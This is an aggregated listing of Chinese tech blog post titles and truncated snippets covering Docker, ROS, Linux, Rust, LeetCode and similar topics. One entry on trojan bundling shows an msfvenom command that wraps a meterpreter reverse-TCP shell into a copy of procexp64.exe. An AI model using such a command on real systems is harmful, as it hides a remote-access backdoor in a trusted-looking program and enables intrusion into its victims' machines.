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机器人运动学仿真软件：ROS (Robot Operating System)_（1）.ROS基础知识

ROS基础知识1.ROS环境搭建1.1安装ROSROS（RobotOperatingSystem）是一个用于机器人开发的开源框架，提供了许多工具和库来帮助开发者构建复杂的机器人应用。

kkchenjj·2025-05-19 07:10

linux搜索log文件的内容

关键字点击键盘↑↓可以滚动，点击N可以查看上一个，n可以查看下一个**2、tail和head**##标题tailftest.log（等同tail-ftest.log）实时日志head-n500test.log显示top500

CarefulCalm·2025-05-19 07:07

【魔改版vite-plugin-html】超好用的vite HTML模板插件！

=>{//前置处理constpages=[{//默认的filename是template的文件名，即此处为index.htmltemplate:'templates/index.html',injectOptions

warmbook·2025-05-19 05:54

Manjaro 2025.2提示libxml2.so.2问题

产生以下错误$foxitreader/usr/lib/foxitreader/FoxitReader:errorwhileloadingsharedlibraries:libxml2.so.2:cannotopensharedobjectfile

·2025-05-19 00:03

常用综合评价模型（纯干货）

常用综合评价模型（纯干货）一、TOPSIS法1.1整体流程1.2代码实现#TOPSIS法bp=a.max(axis=0)#求正理想解bm=a.min(axis=0)#求负理想解d1=np.linalg.norm

MX_9359·2025-05-19 00:53

一天一个强大的网站 · 第 2 期：Photopea —— 在线版“Photoshop”，无需安装直接用！

一、网站简介网站名称：Photopea网址：https://www.photopea.com标签：在线图像编辑器/免费PS替代/无需注册如果你曾被Photoshop的价格劝退，又不想为了一张图折腾半天安装包

Elyrian·2025-05-19 00:23

【Docker】Win11安装docker desktop教程、部分数据库工具的使用以及个人踩坑记录

Install[参考](Windows|DockerDocs)，此次记录环境为win11系统，使用的方式是WSL2backend,x86_64。在该环境下安装较为简单：wsl--install--online查看可以安装的系统wsl--installubuntu安装子系统，这里选择Ubuntu，也可以选择其他系统以及版本，安装完成后需要键入账户密码双击exe安装，上述参考文档有下载链接如有需要，可

幻原·2025-05-18 23:51

Win10家庭版 Docker Desktop 使用记录

Win10家庭和学生版Docker使用记录安装DockerDesktop迁移WSL到非系统盘阿里云镜像加速常用命令安装DockerDesktopdocker文档下载地址安装教程使用添加删除windows

好好学习搞钱要紧·2025-05-18 23:51

Windows 中学习Docker环境准备2、Docker Desktop中安装ubuntu

Windows中学习Docker环境准备1、Win11安装DockerDesktopWindows中学习Docker环境准备2、DockerDesktop中安装ubuntuWindows中学习Docker

码视野·2025-05-18 23:50

THEMIS---Beta Sprint Summary Essay Blog

WhataretherequirementsforthisassignmentbetaSprintThegoalofthisassignmentTosummarizethebetataskprogressandtheteam'ssprintsTeamNameThemisTop-of-th

THEMIS-EE308·2025-05-18 22:10

26考研——栈、队列和数组（3）

顺序栈top从0开始还是从-1开始队列顺序队列深入掌握顺序队列的管理方式和实现理解什么是“假溢出”现象链式队列深入掌握链式队列的管理方式和实现链式队列是通过链表来实现

408答疑+v：18675660929·2025-05-18 21:02

母亲节祝福的代码词云图

网上的代码有些过时了,scipy的一些用法也是过时,抄袭的,这里用pyecharts来生成词云图,并加入全图覆盖.frompyechartsimportoptionsasoptsfrompyecharts.chartsimportWordCloud

2401_86416747·2025-05-18 18:10

利用gdb定位线程栈被破坏场景: Backtrace stopped

以前在实验室调测RK3399模块时碰到的一个程序启动时小概率异常问题，当时使用gdb重现了该问题，使用“bt”命令查看该异常线程栈信息提示：”Backtracestopped:previousframeidenticaltothisframe

IT老兵2025·2025-05-18 16:58

2021-10-23 C#返回月的天数

三目运算与一般判断2种不同写法int返回月的天数(int年,int月){//缘由https://bbs.csdn.net/topics/395074486return(月==2?

智者知已应修善业·2025-05-18 14:14

centOs mysql8 重置数据库密码

#停止MySQL服务systemctlstopmysql#启动MySQL安全模式mysqld_safe--skip-grant-tables&#登录MySQLmysql-urootFLUSHPRIVILEGES

菜籽日记·2025-05-18 08:05

Java-JVM-安全点SafePoint

Java-JVM-安全点SafePoint转载声明：本文系转载自以下文章：RednaxelaFX对安全点的解释作者：RednaxelaFXJVM安全点介绍作者：EZLippiJavaSafepoint与StopTheWorld

前端的哭·2025-05-18 08:32

Linux 内核中 TCP 连接实现的深度解析

inet_stream_connect函数为核心，结合其依赖的inet_wait_for_connect等待机制，深入探讨TCP连接的核心逻辑、状态机管理、并发控制，以及高级功能（如BPF钩子和TCPFastOpen

109702008·2025-05-18 08:00

c++ 仿函数

示例代码：voidtestFunctor(){usingSum=structMyStruct{intoperator()(inta,intb)const{//重载（）运算符returna+b;}};Sumsum

zh_xuan·2025-05-18 06:48

【docker】mac下docker本地仓库在哪里、镜像内容

这个目录通常是Linux系统上的默认路径，而在macOS上，DockerDesktop实际上在虚拟机中运行。

九师兄·2025-05-18 06:46

A Survey on Multimodal Large Language Models论文解读

representedbyGPT-4Vhasbeenanewrisingresearchhotspot,whichusespowerfulLargeLanguageModels(LLMs)asabraintoperformmultimodaltasks.Thesurprisingemergentc

call me by ur name·2025-05-18 06:43

免费开源的PDF OCR工具，让PDF文字可以复制可以搜索

针对这个问题，一位开发者FanQinFred开发了一款PDFOCR免费软件，名为OCRmyPDF-Desktop。本文将为您介绍这一软件的特点和优势。

诸葛大钢铁·2025-05-18 03:29

青少年编程与数学 02-019 Rust 编程基础 18课题、命令行程序

.构建和运行程序3.输出结果二、命令行参数解析1.使用标准库的`std::env::args`示例代码解析逻辑示例运行注意事项2.使用`clap`库添加依赖示例代码功能解析示例运行3.使用`structopt

明月看潮生·2025-05-18 02:50

微信小程序F12开发者工具OpenDevTools

1、下载工具：https://github.com/JaveleyQAQ/WeChatOpenDevTools-Python?

_uncleTan·2025-05-18 01:40

微信之日常开发工具

总结有关微信开发中使用到的一些工具:1.WeChatOpenDevTools-Pythongithub:https://github.com/JaveleyQAQ/WeChatOpenDevTools-Python

然然很强就很强·2025-05-18 01:10

工具分享 | WeChatOpenDevTools-Python - 用来给微信小程序强制开启开发者工具，小程序抓包必备，小程序开发必备，小程序渗透必备。

0x00工具介绍WeChatOpenDevTools-Python是用来给微信小程序强制开启开发者工具。

IT软件汇·2025-05-18 01:39

Windows 下安装 Python2

双击下载的安装文件，一路Next即可，但是要注意勾选pip和Addpython.exetoPath安装界面pip是Python生态体系里面的包管理工具，很多第三方库可以通过它

sunsides·2025-05-17 23:28

yocto5.2开发任务手册-3 了解和创建层

此文为机器辅助翻译，仅供个人学习使用，如有翻译不当之处欢迎指正原文链接：https://docs.yoctoproject.org/dev-manual/layers.html#3了解和创建层OpenEmbedded

Wangyh02·2025-05-17 22:53

python安装好了如何使用_如何安装运行python？

比如单击，Addpython3.5toPaTH——>Customizeinstallation2安装好了之后，可以从cmd看dos命令输入Python看是否链接成功或是，通过搜索程序IDLE(Python3.564bite

weixin_39535125·2025-05-17 22:19

mac M芯片运行docker-desktop异常问题

虽然mac已经迭代到m4了，但官方的docker-desktop运行仍然有问题，包括但不限于：命令行docker找不到docker-desk打不开docker-desktop闪退容器起不来尝试不同版本后

THMAIL·2025-05-17 20:35

二级密勒补偿运算放大器设计教程

二级密勒补偿运算放大器设计教程分享二级密勒补偿运算放大器设计教程项目地址:https://gitcode.com/Open-source-documentation-tutorial/2d91d资源介绍本仓库提供了一个名为eetop.cn

窦莎言Firm·2025-05-17 19:00

Web安全基础：深度解析与实战指南

DefenseinDepth）1.1.1网络层防护防火墙技术：状态检测防火墙（SPI）：基于连接状态跟踪，阻断非法会话（如SYNFlood攻击）下一代防火墙（NGFW）：集成IPS、AV、URL过滤（如PaloAltoPA

网安秘谈·2025-05-17 17:21

打开python的pip命令时闪退_python中pip install 命令出现异常时的解决方案

connect=None,read=None,redirect=None,status=None))afterconnectionbrokenby'ConnectTimeoutError(,'Connectiontopypi.orgtimedout

weixin_39976499·2025-05-17 14:53

windows下更改Docker安装目录，更改Docker下载镜像的存储位置

服务的虚拟磁盘和下载的镜像等数据的虚拟磁盘2C:\ProgramFiles\Docker这个主要是Docker的客户端1更改Docker安装目录参考：Windows安装Docker、自定义安装目录_dockerdesktop

.热情.·2025-05-17 13:46

OpenAI开发中常见错误：OpenAIError和BadRequestError

错误1:openai.OpenAIError:Theapi_keyclientoptionmustbeseteitherbypassingapi_key.....在通过openai创建客户端必须要设置apikey

dunzane·2025-05-17 12:09

第六篇解决CentOS7从Docker获取镜像时timeout

问题解决1、部署环境CentOSLinuxrelease7.9.2009(Core)2、问题现象dockerpullsecfa/docker-awvsUsingdefaulttag:latestTryingtopullrepositorydocker.io

SNOLA91·2025-05-17 12:37

LeetCode 155. 最小栈（Min Stack）

155.最小栈题目描述设计一个支持push，pop，top操作，并能在常数时间内检索到最小元素的栈。实现MinStack类:MinStack()初始化堆栈对象。

算法_小学生·2025-05-17 12:34

GitHub 趋势日报 (2025年05月14日)

本日报由TrendForge系统生成https://trendforge.devlive.org/本日报中的项目描述已自动翻译为中文今日整体趋势Top10排名项目名称项目描述今日获星总星数语言1xming521

qianmoQ·2025-05-17 11:33

css中的 vertical-align与line-height作用详解

vertical-align详解作用对象：行内元素（inline/inline-block）或表格单元格内容核心功能：控制元素在行框内的垂直对齐方式常用取值：baseline（默认）：基线与父元素基线对齐top

酷爱码·2025-05-17 09:47

Python 潮流周刊#44：Mojo 本周开源了；AI 学会生成音乐了

本文博客版链接（更好的阅读体验）：https://pythoncat.top/posts/2024-03

Python猫·2025-05-17 08:41

乱侃《深入理解计算机系统》——计算机系统漫游

雪小飞·2025-05-17 08:40

保姆级教程：Python调用DeepSeek-v3 API实现多轮对话上下文管理

本部分将深入解析其核心调用逻辑2.1请求结构三步曲#示例代码框架fromopenaiimportOpenAI#1️

叾屾自学大模型·2025-05-17 08:39

vs qt opencv c++图片相片查看编辑工具Image Viewer Image Editer

qtopencvc++图像相片查看编辑器工具如需安装运行环境或远程调试，可加QQ905733049,或QQ2945218359由专业技术人员远程协助！

荷塘月色2·2025-05-17 06:53

MSF-02-木马捆绑

procexp64.exemsfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=192.168.8.150LPORT=4444-fexe-x/root/Desktop

Purvis_U·2025-05-17 05:19

vue dhtmlx-gantt实现甘特图（接入后台数据）

关于gantt的数据格式要求官网数据格式详细：https://docs.dhtmlx.com/gantt/desktop__loading.htmlimportganttfrom"dhtmlx-gantt

邝邝邝邝丹·2025-05-17 04:12

【K8S学习之生命周期钩子】详细了解 postStart 和 preStop 生命周期钩子

0.参考Kubernetes容器生命周期——钩子函数详解（postStart、preStop）-人艰不拆_zmc-博客园详解KubernetesPod优雅退出-人艰不拆_zmc-博客园1.Kubernetes

oceanweave·2025-05-17 01:56

Github 2025-05-15 Go开源项目日报 Top10

老孙正经胡说·2025-05-16 22:10

1、引擎核心——渲染框架篇

getChildByTag、removeChild等；2、每个类及子类都可以使用定时器，对应方法：schedule、unschedule等；3、所有的Node类及子类都能执行动作，对应方法：runAction、stopAction

haoDe_room·2025-05-16 22:36

在 Windows 上设置 vm.max_map_count 参数

以下是针对不同Docker环境的设置方法：DockerDesktop(WSL2后端)如果您使用的是基于WSL2的DockerDesktop（推荐且是最新版默认配置）：创建或修改WSL配置文件：

AI航海家(Ethan)·2025-05-16 21:30

k8s监控方案实践补充（一）：部署Metrics Server实现kubectl top和HPA支持

k8s监控方案实践补充（一）：部署MetricsServer实现kubectltop和HPA支持文章目录k8s监控方案实践补充（一）：部署MetricsServer实现kubectltop和HPA支持一

hwj运维之路·2025-05-16 19:14

防火墙开启端口

原文：http://topic.csdn.net/u/20120208/16/d3852724-1658-44ea-aadf-69ecd9aabac7.html进入控制面板->Windows防火墙点击左边的高级设置进入高级设置页面后

chelen_jak·2025-05-16 18:08

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